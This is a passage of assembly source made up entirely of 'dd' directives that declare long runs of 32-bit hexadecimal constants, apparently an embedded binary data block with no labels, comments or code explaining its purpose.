18CA9E7Ch, 7165A7ADh, 1E00E342h, 0F76201DAh, 58EB1Bh dd 15A95DB5h, 0A4469A5Eh, 11DD3624h, 2B5CC000h, 179680CCh dd 4789E6h, 1A064993h, 0C4000B68h, 0E87963A8h, 50AC28h dd 0D27437FDh, 6C0C58A6h, 0BB8DC9C0h, 79072BCCh, 48620318h dd 55AFC428h, 0F0C315F0h, 816F9500h, 0F2B6E7AEh, 97967279h dd 0BF11DA00h, 4B3E86A2h, 0BB94009Eh, 0FA702C9Ah, 50CE0FB7h dd 67203214h, 0DEAFD510h, 21E65300h, 601F341Ah, 5ADA018Fh dd 166A22BEh, 3EA9EC2Bh, 0BDE6303h, 882C3B09h, 0F7F976h dd 0DBDCF86Ah, 2C3299Dh, 0B81E0F76h, 40027D1h, 0B3B69EBEh dd 0AF7496h, 0D211E02Dh, 0D71637ADh, 9122EA00h, 0B087601h dd 0DFD10268h, 27CA635Eh, 8C0FB62h, 0B100975Fh, 7F750DA4h dd 7C3E70h, 413F644Fh, 0FF6126C2h, 0F9E4D000h, 0E1A48FBCh dd 3C50047Eh, 80D4568Ch, 2487F891h, 262C4Ch, 0F946DE4h dd 794AAA4Eh, 6E9028E0h, 1B5900ACh, 1F80C172h, 0A500E48Fh dd 0D2FE41BEh, 286E4Dh, 0EBBCE398h, 0BF91686Bh, 0D0893000h dd 0D31B3A07h, 0E5D00E9h, 0B7A650F4h, 4D3FE360h, 0F0C728A4h dd 0BD4BDC3Bh, 396B1F58h, 1951160Eh, 13F8ECD0h, 0CAB9000Fh dd 3FEDCB6Fh, 7401631Dh, 96C8C501h, 0C4405BD8h, 6238B4h dd 57A8CD94h, 5DE46CFCh, 730D0F00h, 0D33A0602h, 7C7A00AFh dd 1E2609B7h, 7D2444E8h, 0F00BC80h, 60B187AEh, 0DF960134h dd 518A0125h, 88ACC429h, 0C4FA9700h, 0F2838C41h, 0CB8726BBh dd 37810014h, 30D7AA95h, 0DE8A8819h, 944C63B8h, 0AFBF2DBEh dd 414D9580h, 0E200CC5Ch, 24602263h, 0F8A21B92h, 0F97A9Ah dd 333951ECh, 0A8CCC059h, 0F1DBDD00h, 52E59FCFh, 4EF83A8Fh dd 0C3408380h, 0B2166BF9h, 1C99B800h, 0C3DED19h, 4DEEA90h dd 4D7D95BBh, 0D88BC09Fh, 1FEA1351h, 0D4842F50h, 779A4701h dd 63C153B8h, 0BD728040h, 89DC0075h, 0F734EB02h, 0AF00D15Eh dd 1569A7ABh, 39A24EBBh, 38FD88A4h, 9B800DECh, 0F53A61FBh dd 0E5FA489Eh, 7FD27C00h, 77C5E202h, 655700EAh, 288A72F7h dd 0BE3A2F48h, 0E5FC809Dh, 225D8EC1h, 44A405D2h, 20AC4A0h dd 1C9E90F8h, 0E0C79880h, 1794522h, 18033002h, 80C4EF5Ch dd 2C1DB0ACh, 453404B6h, 80E7598Dh, 0C5AD3785h, 6FF40F00h dd 0C0AA4AAEh, 907077EEh, 0B9390660h, 6187C592h, 0ACD9C401h dd 24D16C6Dh, 10EC20h, 936296F3h, 0A883BC9Bh, 77FD4600h dd 0D176D27Ah, 3C51F865h, 74800208h, 600FB08Fh, 0F826D71Dh dd 6201F413h, 0D6DB9E8Eh, 7A1F1020h, 0C66A0499h, 0C014C8A8h dd 0D0687F48h, 2C121E24h, 0A047800Fh, 38C2694Fh, 2EA24A4h dd 0D4AD807Ch, 0FED15F5h, 88B5DA1Dh, 6A3C67C0h, 487D40E3h dd 0A00747Fh, 0A050CFEFh, 0BC0471AEh, 5C1BD988h, 60808885h dd 0B42313h, 571DD6FDh, 0CFC3CBF4h, 0AB06E7EAh, 0DC11965Ah dd 0CAC600B8h, 0DD86BE60h, 5928509Ch, 9A0FF8C2h, 0A124B03Eh dd 7DE77714h, 0FF7E60D6h, 0E1F7A07Fh, 74733B9Fh, 1E16DD80h dd 955AED81h, 0F7B07803h, 0E86F025Dh, 2DC119h, 0F082D71Ah dd 6E9F32F8h, 20D14F00h, 95CFA36h, 1E3A01F6h, 1274ADC9h dd 82BC4193h, 4450606Ch, 0B3CADE28h, 9AE21832h, 0F2F44885h dd 0A11C4898h, 56353800h, 0F4A6B3C5h, 3CFD871Dh, 0FF292A98h dd 97B50385h, 6F113104h, 285DC690h, 0FDDDEC00h, 9F51ACCBh dd 2FB12FDBh, 0DC005778h, 0BDEB0C23h, 0B22C5493h, 0ABFD0038h dd 0B13CD369h, 9501EC94h, 7C38AE51h, 40642FBCh, 0E4683FEDh dd 36712000h, 7B147046h, 0F308C900h, 269AA59h, 0CFB0009h dd 8E41C096h, 3D009591h, 0F10EC27Ah, 3A5DF3h, 69DE2277h dd 79198F90h, 0A1B1E500h, 0B0A53154h, 0AC3A00FCh, 70619E71h dd 0DA07FEF4h, 0F02BF7EDh, 0A0169813h, 61C36BFFh, 3C536912h dd 612BD934h, 7CF4E4D0h, 0BA2FDF09h, 20758056h, 0BED008h dd 978B33A0h, 0D3C1082h, 0E7621807h, 9B405E6Eh, 0FC307E4h dd 77C93F65h, 2C33D161h, 0CDD4E83Dh, 70046848h, 49096700h dd 17959F0Ch, 296200FBh, 0C089BAF2h, 65001E4Ah, 4CFF2DD5h dd 0B75E0AB8h, 0E67A79E0h, 5DD84400h, 0BAB524C6h, 933604A6h dd 0D00B849Ch, 0D754EB90h, 491A9101h, 0DAAAF461h, 5A9824h dd 0B1EA70D1h, 6707192Ch, 68184561h, 0CE05174h, 7C11DD7Eh dd 1B5FB807h, 0EB6020F2h, 6C1DC125h, 0E6C0B465h, 59F8BFBBh dd 7A1D0049h, 36B78ACAh, 1A01C35Bh, 0F465D050h, 7981DD93h dd 0C0512C68h, 5171D1DAh, 0F01C1D80h, 0E80327CFh, 672DF2C8h dd 6BEEF058h, 0ECBD2879h, 70CD30DCh, 0DABEF631h, 4B598903h dd 0A769F551h, 0C093F350h, 680C601Ch, 6BB38DDDh, 51036679h dd 4F3EC8E3h, 2FCCE076h, 1FB80022h, 0B4B58CD0h, 35005921h dd 0DC855F70h, 42B00Dh, 30A5B7C0h, 9D90588Bh, 0FBE46D00h dd 91AB83F8h, 8EE626C3h, 0D49900F9h, 74971B0Eh, 0DD800400h dd 7CE7EABAh, 789EC59h, 0C60DB6A8h, 0DABB2052h, 92001496h dd 7ACDA3CBh, 0DF7603h, 649D6755h, 1A9B4169h, 390045F8h dd 487159FDh, 637277h, 0C4267558h, 29CDE799h, 4C08D0Fh dd 2F1D0009h, 29EB94F7h, 21B44018h, 46D05504h, 6E40003Eh dd 2069120Bh, 43000813h, 7C4A556Ch, 751525Dh, 0C09B07Dh dd 53108340h, 54A05AC3h, 61D6E48h, 98441FBh, 9C0695Fh dd 3E637D0Eh, 530F0F05h, 9DE016h, 0BCDD110Ah, 4407FC0Dh dd 403421BAh, 3E7F0BC0h, 1D033C61h, 0D14B600h, 31015D49h dd 701F3C70h, 8C46752Eh, 0B89216h, 8F3E4307h, 14BCC86Ch dd 6B00DDFEh, 6C7220Ah, 6240288Ch, 20F92802h, 0C8F302Fh dd 83C2151h, 14902B05h, 485DFD84h, 2DD64220h, 5B217824h dd 1074125Eh, 0C891351h, 48447C08h, 12EE8478h, 0ED08D089h dd 3EC54645h, 1215F011h, 53AA10E4h, 6908B089h, 12C62F45h dd 2921D943h, 1C570884h, 88159C88h, 0C2BD3CCEh, 22165111h dd 0DBBA01A0h, 3AC23D0Ah dd 28F480B8h, 0D86123A5h, 7A9F41Dh, 0D8AB643h, 836EF0C1h dd 651C33A2h, 7943ED71h, 0B88939ADh, 479DD6h, 7E530C78h dd 9FF3BCEEh, 0E400557Ah, 774332EBh, 454D92h, 5EACEA7Dh dd 0C0766B20h, 6A93141Eh, 0D2EFCF00h, 0EE138A3h, 0A818FD69h dd 0C8900620h, 0AD00F86Ch, 38F62CE4h, 30D61C1h, 0E0131E19h dd 89881B8Fh, 0D70083BBh, 0F63720D2h, 0B850438Ah, 8E7F3Fh dd 68B4C017h, 4E7FC1B7h, 9849FA24h, 129CD280h, 0A015C4h dd 20E8E51Fh, 75439263h, 0FE0052F2h, 5E4D886Dh, 5C40BBh dd 2CB77CBAh, 901B8C09h, 0FF754B76h, 4E07D27Ch, 0A0DB9ED1h dd 62005D6h, 0CEC7EE80h, 850058F3h, 877EF90Ch, 7357774Dh dd 56A212B7h, 5E04A61h, 0E2F0088h, 62886FC8h, 6A8EA40Fh dd 0DD284084h, 0F40A4CB0h, 0CF90FA3h, 0B140850Bh, 3BA50460h dd 23037900h, 44DE99BEh, 8DFC00A7h, 68ABBC72h, 0EA7D4263h dd 0F8017500h, 0DCA8866Dh, 3B5C00D9h, 405738D7h, 0C0E0FEEFh dd 4E6CFF00h, 0AFE97E44h, 0FA900003h, 0DD05ECEAh, 0D940D055h dd 1FD8B0B4h, 0C032CC30h, 0AF31AD33h, 0F003958h, 776D20A0h dd 709D95Fh, 1E53A32Ah, 29FBB0E0h, 0DF07F57Eh, 7D267A01h dd 449AF0F0h, 0C85D50AFh, 6223007Bh, 10836A35h, 70009C43h dd 2009DBFDh, 513395h, 0C5410E8Bh, 9386D478h, 0A07B4B00h dd 1115B4C9h, 0D1010025h, 0EF4AAE89h, 92434B0h, 0AB00486Bh dd 0B358BBB7h, 50F6011Dh, 8CF8173Ah, 0B1DAC8D3h, 77791307h dd 0DB40856Dh, 944048h, 0BD4CD16Fh, 91BE677Dh, 0CF034679h dd 70A2D61Ch, 4FEAF032h, 382101D9h, 0D0839404h, 9F6270FBh dd 8592E550h, 5032092h, 431FDF3Ch, 65100072h, 90A721DCh dd 8609FF3Eh, 0E8ECB3h, 37020E39h, 0B9C80141h, 0F7C7DAD5h dd 713024E3h, 2800C94Bh, 0A9BF02A5h, 1CF8F286h, 0CFB5358Bh dd 0E4BFBA0Bh, 81491F0Ch, 138A5437h, 0F066C9FAh, 2700FF87h dd 2A070657h, 1F566Bh, 0C6143F5h, 40F6185Bh, 0A18EAC00h dd 567FB871h, 74050937h, 0B401C39Dh, 0C0416511h, 0C2007609h dd 0E87228AFh, 3B5D902h, 307B610Fh, 16D1E01Dh, 568BF48Dh dd 0D800C473h, 0C813C322h, 0CE0A51h, 0CF5386E0h, 0BE5720A6h dd 0C9A9E909h, 5D84005Ah, 342D11Ah, 516F8814h, 24E969C6h dd 9FB32073h, 71920B1Fh, 444BD40h, 452CB13h, 80B14DEAh dd 0FCF3C059h, 0CA002E05h, 0A81A1047h, 0D1DC12h, 0E01FB420h dd 8CA3A9FDh, 0FA63DB00h, 0E3BF9F73h, 4D0097F1h, 0B0A4E8D3h dd 1E02C80Ah, 0FC00A02Bh, 45D6B1B5h, 43903BFEh, 2E673180h dd 29BD5909h, 0DC9177FAh, 4B8E6D00h, 7B684F3h, 6BFB7388h dd 34C920D2h, 55007ADAh, 66379F85h, 6C5786h, 0F99CCEA2h dd 14B3FE82h, 0FBB41E00h, 0D4D93AE0h, 1F600C8h, 85BFC9D6h dd 0C23E0402h, 5A10E0C0h, 0F08EA626h, 1DF900C4h, 1E07A53h dd 0A5001075h, 4FB4BF60h, 1D904C88h, 0C0D3CB79h, 95DDE438h dd 2000EB8Fh, 0F4422D15h, 3EC9B546h, 9800496Fh, 570448F6h dd 65072CB1h, 5C0B012Bh, 5A0DBFC0h, 783F0020h, 0FE079268h dd 0AC00727Eh, 1434B1DBh, 72647D5h, 1397433Ah, 0ADB460EEh dd 0A2004CD7h, 4F25F17Ah, 394B84ABh, 8A00C329h, 0BEF6D970h dd 0BB00FAF7h, 96CDA847h, 1534B48h, 13678D42h, 0D4BFA3F3h dd 0DC007A86h, 98EF1C43h, 0AAE54Dh, 35B8423Eh, 0BEADF112h dd 9D83C000h, 39047EFDh, 716F5892h, 58D23800h, 5BCD2FD1h dd 8CFABC13h, 3EAEB800h, 392D3h, 0F1E14531h, 0B02CB422h dd 97EC7F00h, 0DF5F2938h, 69F2F4h, 0CE4AF683h, 7DE3F06Ah dd 0FF4CD300h, 4DF78658h, 0E97A00AEh, 1B8A07F9h, 480202DDh dd 677045B3h, 0E7306089h, 85C500B7h, 91C33CFAh, 6B26EFF8h dd 7D00A0CBh, 0DCE31BE1h, 239A1CB1h, 8EC9802Ah, 9C265149h dd 0A6FE3Eh, 43E28285h, 0BFC77Fh, 71BD4144h, 0CF371F2Dh dd 36E72504h, 30C06502h, 37BFCABh, 72E1F6EDh, 62E1BFC8h dd 0CC13DDC7h, 700034E4h, 6775AD03h, 325A63h, 9535EC2Bh dd 34D7BC99h, 1C426600h, 7CEBCF6Bh, 949C00D0h, 970695B1h dd 0D80E9E29h, 60CB5C78h, 997C0BC5h, 47E900A5h, 42B5B692h dd 55003C4Bh, 0FE01BC5Eh, 7C1CA18Dh, 2E393C89h, 0CB2A0F1Dh dd 0C4007730h, 0DE576793h, 7B01474Ch, 0EC002870h, 54629169h dd 0DB3A81h, 0D91B1A02h, 7B294ED6h, 272C6C00h, 94D81435h dd 0F23BF881h, 170E747Ah, 2725322h, 89BA3538h, 0D1FD048h dd 5D0457F8h, 0EA99F86h, 91620490h, 379607EFh, 10E5192Dh dd 64304BCEh, 7BE0920Fh, 0E3C3804Ch, 0E6DACC0h, 324EFA87h dd 71E8F4A0h, 3300201Fh, 51FB826Ch, 20E57E92h, 0D9030605h dd 1EFA4C66h, 6829C8B3h, 0A9D114A3h, 490080BDh, 7C9880ECh dd 0A5000D6Eh, 4DD0040Eh, 50D25E3Fh, 0F2E4C8h, 0FFBA292Ch dd 45DD862Fh, 0A33C26h, 0E32C9B28h, 0F580C828h, 5D81F22Dh dd 43515884h, 58B4B300h, 96B0ACA4h, 57A9E302h, 0C0F74B82h dd 0D95F0h, 1776583Ah, 5BD50335h, 85984DF8h, 40A42802h dd 0E0F7ED86h, 0F6754E10h, 6C250768h, 10F08FE8h, 96ED3661h dd 3454239h, 0EC6DD3C3h, 31C9881Fh, 0AFEE00B8h, 0D965A669h dd 0A0027724h, 95F3C84Eh, 0B2D88018h, 388D84DCh, 5B802745h dd 82EE9D0Fh, 0EC1C03F7h, 0DE0A4411h, 7200D08Ah, 7C63FA1h dd 156800BDh, 60989FB5h, 301FA274h, 52001CAAh, 0FDDCD013h dd 7ECA2657h, 0D24400A8h, 6370EF43h, 0CB52FC00h, 75AEA281h dd 0D0085078h, 9C9605E9h, 80E6CD2Dh, 830948E8h, 284E6B04h dd 0C8806933h, 0A0BBEC8Eh, 1325F2D8h, 327D1B48h, 7C60FE9Ch dd 540086F3h, 572AC866h, 24A3598Fh, 3F675B31h, 0B85852A4h dd 19C91B02h, 9D4093A1h, 14392A53h, 0C7258383h, 0B8A90C24h dd 12EA73h, 0C03818E5h, 0AC948554h, 0FF728600h, 9A2092F9h dd 9EE74E7h, 9D58561Ch, 0DBC76048h, 4AE4EC98h, 33B55200h dd 0D84624B3h, 611E2ED6h, 936B001Ch, 739A4512h, 0C94C000h dd 0B92BAD20h, 42050090h, 92FE3AC1h, 440FC975h, 0E79ACB78h dd 0C5F0790Dh, 1D519582h, 411E7741h, 5B24405Fh, 0DBB07068h dd 592A8700h, 0D36A28B5h, 0D0860016h, 3472EFB4h, 0CE134B91h dd 10004F99h, 0C2D6C36Bh, 0A8CF032Ch, 535E835Bh, 1C0AA070h dd 0C8E7212Dh, 6D8DA500h, 1FC7BB2Ch, 0C8AF843Ah, 0B28014AAh dd 0BE394AE2h, 1565015Fh, 20240132h, 0FF1C24EAh, 9B00CCB1h dd 0BC2B6E8Bh, 0B53B02DEh, 7F46F3D1h, 8C68C60h, 3D80C001h dd 410D0244h, 3A37F620h, 8800ABBCh, 40F078B3h, 0F8B015A8h dd 6C9EFC0Eh, 0DD21C66Bh, 6AA10188h, 0E56D2DC0h, 6A0724Bh dd 130BAEDh, 75C80CC8h, 0BC313A40h, 0E88BA000h, 9AB5A8B4h dd 34111D56h, 0A98A8039h, 37D88E51h, 4BCD7900h, 65C414E9h dd 94975096h, 40BD2029h, 6F000379h, 0B9264EEFh, 12823CC1h dd 93EC9Ch, 0BDEA4060h, 890038F5h, 6AC4D87h, 7BE89CD3h dd 0E95AF0E7h, 0F30AF8h, 0E5A629B4h, 8B1ED755h, 0CC77572Ch dd 0B0119301h, 30306B1Dh, 0DCFB069Bh, 105A3202h, 5DE9B200h dd 0D2D11C2Ah, 996E1878h, 1341C822h, 0A0D47907h, 5E0E8F9h dd 0EF077C87h, 0DB84B640h, 0CD310072h, 3A5AA137h, 6250341Eh dd 0FF139F93h, 5C004A4Eh, 9EC508AEh, 7B60036h, 0DA810549h dd 8F00A980h, 5BA35591h, 0E61AFBC2h, 5E7F134Ch, 0E26C00AEh dd 8CE0CD58h, 0C0F72507h dd 9290135Ch, 327235h, 1A10B618h, 6C9114EBh, 8C384A00h dd 0A71D5E64h, 0EAB9001Eh, 617FD03Fh, 0D4009255h, 0A873EEB0h dd 0E81EDFB3h, 3C420008h, 0BA2A0722h, 33507D9Ah, 97004DFCh dd 838EEFAh, 0F8FF39h, 0C1DA18A7h, 8E959C9Bh, 8B2C7BF6h dd 4F0074AFh, 835CCBDCh, 7C24496Fh, 49133300h, 0E7128F1Dh dd 3165C900h, 1029C676h, 8A5500C2h, 0B14DEF47h, 1C3AA066h dd 5DF195C8h, 3ADB00F8h, 59DC778Bh, 0CFAF282h, 55283956h dd 71073321h, 673D309Ch, 78D0B074h, 0E2402Ah, 60CBBEDEh dd 36F2C051h, 83FDDD3Fh, 355F32FAh, 77A100F3h, 0DAC8BCB3h dd 14000648h, 4E239097h, 7839F0h, 33466005h, 0CB1B8CFBh dd 0BC226600h, 6A768ADDh, 0F03C004Ah, 1257EF09h, 10006D25h dd 11358A4h, 0B513769h, 9AA04183h, 38E96440h, 7D172098h dd 0A040CFE5h, 2F230EEh, 6E7B0Bh, 3B8B2795h, 1BCCDF2Eh dd 0DAD05760h, 0F3AFC9Bh, 8C0F3D6Dh, 5B6AEFE0h, 0E13B2C06h dd 118FAEE2h, 1806EC24h, 3B16B3D5h, 591F258Eh, 0FFD84627h dd 751EF06Ah, 90F782D3h, 89A98580h, 153200BEh, 39A32A35h dd 330747ADh, 5E94EE72h, 0DC111AA0h, 773107F1h, 7087FA65h dd 0A40D6B62h, 899A030Bh, 0E7F08041h, 5DCCCEh, 0ACFD76E8h dd 2EC1503Fh, 24BE2600h, 903651F0h, 9C477E0h, 87EDAABFh dd 20606461h, 0AD00A43Ch, 0AC13CE46h, 15799C9h, 0F608CFB3h dd 30608ACCh, 0A537B987h, 4AB0E8EAh, 16241AF2h, 182E8949h dd 0FDC4D6B8h, 0F9DC7600h, 0CB23EFE0h, 1E33EA1h, 63D98880h dd 8A48618Fh, 0D6CF5F26h, 0C5201400h, 12BF74A4h, 40303437h dd 3E976E0Ch, 952449D2h, 0C9802C56h, 14ACFDAh, 0F804E59h dd 836262B0h, 0D07AD7F3h, 8003D24Ah, 0A8423403h, 0A4D6BCh dd 0D876CE3Eh, 7213BE2h, 39A370E7h, 0AB062C00h, 1298E9A4h dd 51DC125Ah, 488CB0ADh, 85133800h, 0BFF50182h, 897E040Ch dd 0C0B9B8EBh, 0F9150D74h, 500C4BAh, 0A16110ACh, 2A178AABh dd 0F80470h, 0C36212Fh, 0C36CD187h, 0F104BE7Ch, 6EEBB33Bh dd 73D6A490h, 6F221EBBh, 48DCC440h, 538C8076h, 8B00BDD3h dd 39C8BFFCh, 18200826h, 20DD1B05h, 0DB0082B1h, 134CA964h dd 6048D99Dh, 22F6793Bh, 0B51C58E6h, 5CC09604h, 0C069DB35h dd 0A340086h, 0C207593Ch, 0FD24CB83h, 9D8088E8h, 0A1349B5Ah dd 15C6001Fh, 0CA767D1Eh, 50DCF92Dh, 0AD252741h, 0A49C5F12h dd 6DCC808Bh, 0B86471A9h, 0E2AE7506h, 1E51441Ah, 0B9163FC6h dd 6C4A8780h, 0A7DE823Bh, 12009BE8h, 9257B75Eh, 83939Dh dd 533AC49Fh, 0A1ED2E08h, 6860D600h, 82CA7342h, 3EDF01E3h dd 0E41D91A3h, 2102D7F2h, 1F7B7599h, 31E15F5Eh, 0EDA0E850h dd 40F3C401h, 0EC3BAD0Dh, 70FE4h, 0F185CB66h, 0A8D52490h dd 0D06EF400h, 0F9845860h, 0B8DB0140h, 0EF0F28AFh, 0A7EAC8A6h dd 13CF73Ah, 33C51E8Ch, 67E05110h, 0F20D0396h, 391B5956h dd 69843BF0h, 217A2D03h, 2FE58h, 9482DFC9h, 0CD500465h dd 9E973E00h, 0D03C9087h, 0D2260017h, 11BC93BDh, 2E03F05Dh dd 81C2981h, 1A73F827h, 0A1ABB00Dh, 2980A6C2h, 5296BB48h dd 29003A53h, 173E38C5h, 1F066AF3h, 4308A2h, 0C0579A5Eh dd 33002318h, 3BC62D64h, 0FF91F9h, 4509C111h, 75C43D17h dd 0C720E500h, 16D7DA62h, 9B6801F5h, 0EB0F2554h, 0F95BF4DEh dd 4C8B2D0Eh, 7A3E60FCh, 3053A396h, 0D37EB20Ah, 7602E237h dd 656F211Ch, 28A4E86Dh, 70D64969h, 58F05601h, 527A85DEh dd 0A0401C38h, 0D5394197h, 0CD749F50h, 38245338h, 5CDC00EDh dd 15A55028h, 0B47C49BAh, 0D5404C88h, 79AD8E6Ah, 400A4922h dd 296C8300h, 1BFAD834h, 0C8F44C03h, 0A080D450h, 42C0AB9h dd 494A8C7Fh, 369C8C48h, 0D0860F05h, 0D004CC6Dh, 0D8983DF3h dd 0C0611C9h, 2619921h, 48908824h, 0AB586C9Ah, 81B2500Ch dd 1D132138h, 8801F5F8h, 92344FF2h, 57E91880h, 0A0CF9CDh dd 83EBCF3Fh, 0F11EC27Ah, 2006886Dh, 0CC1A17EDh, 0B6380036h dd 0CBB718Dh, 0A8432D1Ch, 62819B0h, 0C7EA00A0h, 0E117E5F3h dd 0D600FFA7h, 914164D4h, 8EEF43h, 63AA86A2h, 191312B0h dd 2836F000h, 88ECFB2Ch, 6BF01Eh, 5FF1AD87h, 42127DB5h dd 7B14500Ah, 0BB1D90DFh, 84CFD5h, 0BAC64FE6h, 6977A4h dd 0C007BFC8h, 0B021C194h, 0F35D6C00h, 633B7B78h, 0E31B4CD8h dd 25131600h, 989FB634h, 0E6B4A000h, 6CDBB1F0h, 0FA3300CAh dd 276A8F78h, 465C1276h, 0ECB200DCh, 5764F55Fh, 0B78E055Dh dd 9E58291h, 888546A4h, 4DDBC0CBh, 9898A919h, 28845Dh dd 47F110CCh, 4BC89C37h, 40441FC0h, 542C9823h, 6CFF148Bh dd 66950098h, 71516152h, 0D51B098Ah, 0B4C680ADh, 3CC72A1Dh dd 0DBFE9481h, 407C7503h, 8A00D448h, 0ECD75E33h, 0E305E520h dd 759C24C3h, 0A84CF0h, 5BA34EA5h, 67452D25h, 245448h dd 8241B85h, 7F5CE4h, 0BAAB4AD3h, 81CFFF75h, 0E400154Ah dd 6A53DC1Dh, 7B4A01DBh, 0BB69CCA5h, 0AE07F8A3h, 0E5003898h dd 665B2AB9h, 5CBE4D32h, 0EA001C10h, 0B8DD4347h, 7F046E9Bh dd 80D00338h, 2C6390F0h, 23F26CFh, 0B860916Ch, 62D94C60h dd 3100327Ch, 8A936AC9h, 6789ACh, 0FCA37ADEh, 0AA65727Ch dd 71636813h, 0E77DA90Eh, 83C22B5Eh, 8588876Ah, 0C07619F0h dd 0CA7824h, 0C2F9063Fh, 0E6FCA0C4h, 6CAD1300h, 0F32CF24Eh dd 51FB0022h, 3A03C7C9h, 48B82504h, 0EA946201h, 894024A2h dd 4617D0h, 0B8859E92h, 631B8FCBh, 0DD50FC00h, 0E66ECEC9h dd 0D63800FEh, 6CFAA201h, 0B1005B58h, 55517F5Ah, 7B16D1h dd 0E315A662h, 586F6D34h, 0BF5C900h, 0DAA7181Ch, 27351C63h dd 86FA80C3h, 0E029FF5Ah, 75000093h, 805CF631h, 0C31B0082h dd 0C7F7E92Eh, 95F25918h, 7301BC13h, 22A52404h, 0ACFCA4h dd 0A3B1EEF9h, 0BA239B4Ch, 82520739h, 3CF5FFB6h, 44D039h dd 68E97522h, 84556590h, 0FDD63D07h, 0F3F0082Fh, 0FD18FCAh dd 28466C20h, 0D5D3BF21h, 3A7434ECh, 94BAA972h, 89711D3Ah dd 2051244Dh, 986ECFD4h, 0DF3F01BAh, 0E2D10353h, 20E8C874h dd 0A001085Fh, 2A37F6C2h, 98C91E31h, 3E800438h, 0DCC02DF8h dd 33ED3F01h, 65F0AA5Ah, 684F820h, 0C6970701h, 5B001068h dd 0DDD053BAh, 770F3Dh, 0C0CC5F3Ch, 63697911h, 0FC208F0Bh dd 7BEF09Fh, 5D1E3E1Dh, 3D5E20C0h, 4E127C60h, 90808A68h dd 0BEFC34h, 1DA35C9Ah, 0DBE938BCh, 89A03890h, 20009398h dd 0AFB0469Eh, 9066871h, 0F77875C6h, 1F00AF7Ch, 8FA49784h dd 0A63E0F57h, 6A2963F3h, 4D88DC00h, 7E03CD55h, 233B4EDEh dd 0EE4CD09Dh, 42C98E2h, 0B6C77442h, 0AF54F417h, 0DB50A800h dd 0B3CE0E91h, 36ED002Dh, 0DA43AC3Fh, 1C00CD85h, 0DDE30B41h dd 33DFF2h, 0D084D542h, 891AD13Ch, 1FBDB53Ch, 65D747D9h dd 0C2278600h, 0B8C6AEF4h, 91310046h, 565FA44Fh, 0CE7DFDE0h dd 673429C7h, 1800943Ah, 1676D308h, 0F67F00FAh, 0AE5B85B3h dd 713FE8F7h, 6A790096h, 0F3B19E66h, 0A8281C31h, 7BE080BBh dd 0EA950F9h, 17BC9B02h, 0C0A756D0h, 51F4E9h, 0BE9CE1A6h dd 824FBF0Dh, 65A25900h, 83BADB37h, 2BEF00E5h, 0A54C7C17h dd 0AC00995Ch, 0D97158Ah, 73936Dh, 570E967Eh, 6F8725F3h dd 2882CF3Ah, 9409A3C0h, 2322FABh, 80B727CCh, 0A0F811C3h dd 37B1004Dh, 0A3C4C65Dh dd 0E26387F4h, 0F845B9F8h, 260BC267h, 12BEC9h, 1A20165Eh dd 530025AEh, 0C6FF88BAh, 6F4E58BFh, 0B0A5C660h, 316EC172h dd 74C5DCA0h, 9690A600h, 0BEBD2663h, 1FE065h, 0C27C0AF0h dd 3347C681h, 0A20C6F09h, 8F7401B8h, 0ED40DC53h, 263A2665h dd 0D3789Ch, 0A02858F2h, 16759840h, 3D0B8B0Eh, 84324001h dd 52369Fh, 30FEF18Ah, 0C5749B0Fh, 0D203D000h, 7FD92A58h dd 0B5A20053h, 61A5357Bh, 0EE002748h, 0A3EB5BB2h, 0B403C5h dd 2B4E1CD9h, 932F8155h, 0FA500C7Fh, 0A500F088h, 0B7A7ED51h dd 7E53FF43h, 64A0116h, 9EB252A4h, 4F80FFADh, 4578C17Bh dd 0E32A6D00h, 9318BF04h, 0C50300B0h, 10789D40h, 2D00FB34h dd 0CB531FB1h, 35CE5Eh, 2F92BA21h, 3680046Ch, 20FFDD30h dd 0F95669h, 729BC34h, 2F1654E1h, 19D83900h, 145E04DBh dd 740E0E85h, 0FC20ACEFh, 80DD1E0h, 6000867Bh, 6D411463h dd 5B9EAF4h, 0F2EBCE79h, 44C80150h, 0BD900410h, 39BB0028h dd 42345BE8h, 117F6DAh, 0C6A19C85h, 20232237h, 0AD01932Eh dd 0EE1A04CCh, 0B8E46EA9h, 18F260E7h, 0F45445C7h, 0B694DB00h dd 9951620Fh, 56FAC2h, 0CF0955AFh, 2D6DE1A8h, 808CF53Ah dd 0D31E449Ah, 0DF920Ah, 97FAF26Eh, 1B42A0D9h, 860038E0h dd 2DD09A59h, 81F41Fh, 668FC316h, 709D5889h, 8CE6DD09h dd 0DEC00B3h, 24D5CB3Ch, 87E8E4B5h, 6056C25Eh, 0DB428869h dd 829F3639h, 0FA3DFFD0h, 0EC7260FCh, 210733Fh, 17214DBBh dd 7040B96Dh, 0AD0199C5h, 38D9506Fh, 0F8CB0975h, 31C9C8h dd 3FA98FFAh, 3D2447BFh, 3922C616h, 2D83431Ch, 0D82E5578h dd 12BF27Bh, 0BAA591DCh, 0F4C2B45Fh, 530F3704h, 19FBDCFh dd 0C5B30B54h, 8B1030h, 0DEB96109h, 9FE70CEAh, 4E776600h dd 0B662048Ah, 0EEC01F1h, 923FCEDDh, 478CE089h, 738B0B00h dd 0C77BDFF5h, 0F47C3D91h, 5A08A43Ah, 0A31C94C5h, 0FA6FAE47h dd 86018C9Ah, 0D47CF829h, 13FEBA60h, 1D23F8Fh, 2EBA5860h dd 0A65AFCC6h, 6F325F00h, 0D549E4ACh, 7E9A050h, 8990A0D1h dd 88670035h, 0CACB94EAh, 0C6654BE0h, 658076C8h, 7BA30Bh dd 799F4A4Dh, 7AD11C16h, 9804F905h, 96C06ABFh, 2D84C226h dd 0D77CE3A9h, 0C9F0FD3Ch, 5703427Ah, 41F1E92Bh, 1D75E80Ch dd 3B4F004Eh, 9FFFCB47h, 5B00EC24h, 15E3C049h, 0A841B774h dd 166B97A4h, 0C71381Dh, 5FD8DD5Eh, 0D00C6418h, 498B60h dd 0AA95068Fh, 47BC1F35h, 74FD8800h, 0DEADA328h, 0C7F91EE9h dd 87D04055h, 0ED69B107h, 2DD2CB09h, 802C0EF3h, 1781C0FAh dd 0AB5600C6h, 190B1B37h, 1C1E8ECBh, 0D4C093D7h, 0EA840EC0h dd 36971F2Bh, 0CC59C0AEh, 115A4780h, 0F0E0E7F2h, 94079A05h dd 8C003A44h, 558809C6h, 0CB01318Eh, 0FA676590h, 0D8052EC1h dd 0EE00186Bh, 3F63CF02h, 1324F6h, 0FED05DC2h, 0FABD66B3h dd 0E8D87700h, 5E8140C1h, 0C8EA01F5h, 0DB36E64Dh, 7D7C20E9h dd 0DA80C07h, 0CAD06C94h, 3CDCB264h, 898077A3h, 9B22DE32h dd 0B1007A51h, 69F75381h, 7797FFDh, 29EB720h, 